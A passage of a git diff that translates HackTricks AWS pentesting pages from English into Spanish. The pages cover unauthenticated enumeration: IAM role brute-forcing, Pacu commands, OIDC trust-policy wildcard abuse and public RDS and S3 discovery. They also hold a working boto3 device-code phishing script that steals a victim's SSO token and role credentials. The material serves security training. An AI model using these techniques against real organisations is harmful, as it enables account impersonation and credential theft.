- {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..4d218c421 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..ea4a8c81b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,180 +1,162 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Enumerar Roles y Nombres de Usuario en una cuenta -### ~~Assume Role Brute-Force~~ +### ~~Fuerza Bruta para Asumir Rol~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Esta técnica ya no funciona** ya que si el rol existe o no, siempre obtienes este error: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Puedes **probar esto ejecutando**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Intentar **asumir un rol sin los permisos necesarios** desencadena un mensaje de error de AWS. Por ejemplo, si no estás autorizado, AWS podría devolver: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Este mensaje confirma la existencia del rol, pero indica que su política de asunción de rol no permite su asunción. En contraste, intentar **asumir un rol que no existe conduce a un error diferente**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +Interesantemente, este método de **distinguir entre roles existentes y no existentes** es aplicable incluso entre diferentes cuentas de AWS. Con un ID de cuenta de AWS válido y una lista de palabras dirigida, se pueden enumerar los roles presentes en la cuenta sin enfrentar limitaciones inherentes. -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Puedes usar este [script para enumerar posibles principales](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando de este problema. -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### Políticas de Confianza: Fuerza Bruta de roles y usuarios entre cuentas -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Configurar o actualizar la **política de confianza de un rol de IAM implica definir qué recursos o servicios de AWS están permitidos para asumir ese rol** y obtener credenciales temporales. Si el recurso especificado en la política **existe**, la política de confianza se guarda **correctamente**. Sin embargo, si el recurso **no existe**, se **genera un error**, indicando que se proporcionó un principal no válido. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> Ten en cuenta que en ese recurso podrías especificar un rol o usuario entre cuentas: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +Este es un ejemplo de política: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +Ese es el **error** que encontrarás si usas un **rol que no existe**. Si el rol **existe**, la política será **guardada** sin ningún error. (El error es para actualizar, pero también funciona al crear) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Puedes automatizar este proceso con [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- El rol `admin` utilizado en el ejemplo es un **rol en tu cuenta que puede ser suplantado** por pacu para crear las políticas que necesita para la enumeración ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +En el caso de que el rol esté mal configurado y permita que cualquiera lo asuma: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +El atacante podría simplemente asumirlo. -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## Federación OIDC de Terceros +Imagina que logras leer un **workflow de Github Actions** que está accediendo a un **rol** dentro de **AWS**.\ +Esta confianza podría dar acceso a un rol con la siguiente **política de confianza**: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Esta política de confianza puede ser correcta, pero la **falta de más condiciones** debería hacerte desconfiar de ella.\ +Esto se debe a que el rol anterior puede ser asumido por **CUALQUIERA de Github Actions**. Deberías especificar en las condiciones también otras cosas como el nombre de la organización, el nombre del repositorio, el entorno, la rama... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Otra posible mala configuración es **agregar una condición** como la siguiente: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` +Nota que **wildcard** (\*) antes de los **dos puntos** (:). Puedes crear una org como **org_name1** y **assumir el rol** desde una acción de Github. -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. - -## References +## Referencias - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..2004af48d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -2,35 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## Phishing de Código de Dispositivo de AWS -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Inicialmente propuesto en [**esta publicación de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), es posible enviar un **enlace** a un usuario que utiliza AWS SSO que, si el **usuario acepta**, el atacante podrá obtener un **token para suplantar al usuario** y acceder a todos los roles a los que el usuario puede acceder en el **Identity Center**. -In order to perform this attack the requisites are: +Para realizar este ataque, los requisitos son: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- La víctima necesita usar **Identity Center** +- El atacante debe conocer el **subdominio** utilizado por la víctima `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Solo con la información anterior, el **atacante podrá enviar un enlace al usuario** que, si es **aceptado**, otorgará al **atacante acceso a la cuenta** del usuario de AWS. -### Attack +### Ataque -1. **Finding the subdomain** +1. **Encontrar el subdominio** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +El primer paso del atacante es averiguar el subdominio que la empresa víctima está utilizando en su Identity Center. Esto se puede hacer a través de **OSINT** o **adivinando + BF**, ya que la mayoría de las empresas utilizarán su nombre o una variación de su nombre aquí. +Con esta información, es posible obtener la región donde se configuró el Identity Center: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **Generar el enlace para la víctima y enviarlo** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Ejecuta el siguiente código para generar un enlace de inicio de sesión de AWS SSO para que la víctima pueda autenticarse.\ +Para la demostración, ejecuta este código en una consola de python y no la cierres, ya que más tarde necesitarás algunos objetos para obtener el token: ```python import boto3 @@ -39,82 +36,77 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +¡Envía el enlace generado a la víctima utilizando tus increíbles habilidades de ingeniería social! -Send the generated link to the victim using you awesome social engineering skills! +3. **Espera a que la víctima lo acepte** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +Si la víctima **ya estaba conectada a AWS**, solo necesitará aceptar otorgar los permisos; si no lo estaba, necesitará **iniciar sesión y luego aceptar otorgar los permisos**.\ +Así es como se ve el aviso hoy en día:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **Obtén el token de acceso SSO** +Si la víctima aceptó el aviso, ejecuta este código para **generar un token SSO suplantando al usuario**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +El token de acceso SSO es **válido por 8h**. -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **Suplantar al usuario** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` - ### Phishing the unphisable MFA -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Es divertido saber que el ataque anterior **funciona incluso si se está utilizando un "MFA ineludible" (webAuth)**. Esto se debe a que el **flujo de trabajo anterior nunca sale del dominio OAuth utilizado**. A diferencia de otros ataques de phishing donde el usuario necesita suplantar el dominio de inicio de sesión, en este caso, el flujo de trabajo del código del dispositivo está preparado para que un **código sea conocido por un dispositivo** y el usuario pueda iniciar sesión incluso en una máquina diferente. Si se acepta el aviso, el dispositivo, solo por **conocer el código inicial**, podrá **recuperar credenciales** para el usuario. -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). +Para más información sobre esto [**consulta esta publicación**](https://mjg59.dreamwidth.org/62175.html). ### Automatic Tools @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..b04f9d833 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..8f720d17f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..557d07bb5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,26 +1,20 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda Acceso No Autenticado {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## URL de Función Pública -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +Es posible relacionar un **Lambda** con una **URL de función pública** a la que cualquiera puede acceder. Podría contener vulnerabilidades web. +### Plantilla de URL Pública ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Obtener ID de cuenta desde la URL pública de Lambda -### Get Account ID from public Lambda URL +Al igual que con los buckets de S3, Data Exchange y API gateways, es posible encontrar el ID de cuenta de una cuenta abusando de la **`aws:ResourceAccount`** **Policy Condition Key** desde una URL pública de Lambda. Esto se hace encontrando el ID de cuenta un carácter a la vez abusando de comodines en la sección **`aws:ResourceAccount`** de la política.\ +Esta técnica también permite obtener **valores de etiquetas** si conoces la clave de la etiqueta (hay algunas predeterminadas interesantes). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Puedes encontrar más información en la [**investigación original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) y la herramienta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar esta explotación. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..a7bdf60bd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..38862d62e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## Puerto Público ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +En el caso de **RabbitMQ**, por **defecto el acceso público** y ssl están habilitados. Pero necesitas **credenciales** para acceder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Además, es posible **acceder a la consola de gestión web** si conoces las credenciales en `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. - -### Public URL template +En el caso de **ActiveMQ**, por defecto el acceso público y ssl están habilitados, pero necesitas credenciales para acceder. +### Plantilla de URL Pública ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..bd3be6eac 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### Puerto Público -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +Es posible **exponer el broker de Kafka al público**, pero necesitarás **credenciales**, permisos de IAM o un certificado válido (dependiendo del método de autenticación configurado). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +También es **posible deshabilitar la autenticación**, pero en ese caso **no es posible exponer directamente** el puerto a Internet. +### Plantilla de URL pública ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..18426d88a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,23 +1,22 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} ## RDS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## Puerto Público -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +Es posible dar acceso público a la **base de datos desde internet**. El atacante aún necesitará **conocer el nombre de usuario y la contraseña,** acceso IAM, o un **exploit** para ingresar a la base de datos. -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## Instantáneas Públicas de RDS +AWS permite dar **acceso a cualquiera para descargar instantáneas de RDS**. Puedes listar estas instantáneas públicas de RDS muy fácilmente desde tu propia cuenta: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Plantilla de URL pública ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..e09ce88e8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..c0d1dbbec 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -1,43 +1,43 @@ -# AWS - S3 Unauthenticated Enum +# AWS - S3 Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## Cubos Públicos de S3 -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +Un cubo se considera **“público”** si **cualquier usuario puede listar el contenido** del cubo, y **“privado”** si el contenido del cubo **solo puede ser listado o escrito por ciertos usuarios**. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +Las empresas pueden tener **permisos de cubos mal configurados** que dan acceso ya sea a todo o a todos los autenticados en AWS en cualquier cuenta (es decir, a cualquiera). Ten en cuenta que, incluso con tales configuraciones incorrectas, algunas acciones pueden no poder realizarse, ya que los cubos pueden tener sus propias listas de control de acceso (ACL). -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Aprende sobre la mala configuración de AWS-S3 aquí:** [**http://flaws.cloud**](http://flaws.cloud/) **y** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### Encontrar Cubos de AWS -Different methods to find when a webpage is using AWS to storage some resources: +Diferentes métodos para encontrar cuando una página web está utilizando AWS para almacenar algunos recursos: -#### Enumeration & OSINT: +#### Enumeración y OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- Usando el plugin de navegador **wappalyzer** +- Usando burp (**spidering** la web) o navegando manualmente a través de la página, todos los **recursos** **cargados** se guardarán en el Historial. +- **Verifica los recursos** en dominios como: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Verifica los **CNAMES** ya que `resources.domain.com` podría tener el CNAME `bucket.s3.amazonaws.com` +- Verifica [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), una web con **cubos abiertos ya descubiertos**. +- El **nombre del cubo** y el **nombre de dominio del cubo** deben ser **los mismos.** +- **flaws.cloud** está en **IP** 52.92.181.107 y si vas allí te redirige a [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Además, `dig -x 52.92.181.107` da `s3-website-us-west-2.amazonaws.com`. +- 